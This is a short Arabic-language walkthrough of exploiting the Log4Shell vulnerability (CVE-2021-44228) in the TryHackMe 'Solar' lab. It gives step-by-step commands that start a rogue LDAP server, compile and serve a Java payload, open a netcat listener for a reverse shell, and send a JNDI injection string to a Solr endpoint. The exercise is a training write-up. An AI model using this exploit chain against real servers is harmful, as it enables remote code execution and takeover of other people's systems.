💻 -h3x0v3rl0rd-

استغلال ثغرة log4j CVE-2021-44228 (TryHackMe Solar، شرح عملي)

git clone https://github.com/n3rdh4x0r/log4j.git 

1. تشغيل log4j.py (سيؤدي هذا إلى تثبيت جميع التطبيقات الضرورية وتشغيل خادم LDAP)

ifconfig tun0
python3 log4j.py 10.8.227.251

2. إضافة عنوان IP للمهاجم إلى ملف Exploit.java

3. ترجمة الحمولة

javac Exploit.java -source 8 -target 8

4. خادم HTTP مؤقت

python3 -m http.server 8888

5. مستمع netcat

nc -lnvp 9999

6. أخيرًا، كل ما تبقى هو تفعيل الاستغلال وإطلاق صيغة JNDI الخاصة بنا! لاحظ التغييرات في رقم المنفذ (الذي يشير الآن إلى خادم LDAP الخاص بنا) والمورد الذي نسترجعه، مع تحديد الاستغلال الخاص بنا:

curl 'http://10.10.45.175:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.227.251:1389/Exploit\}'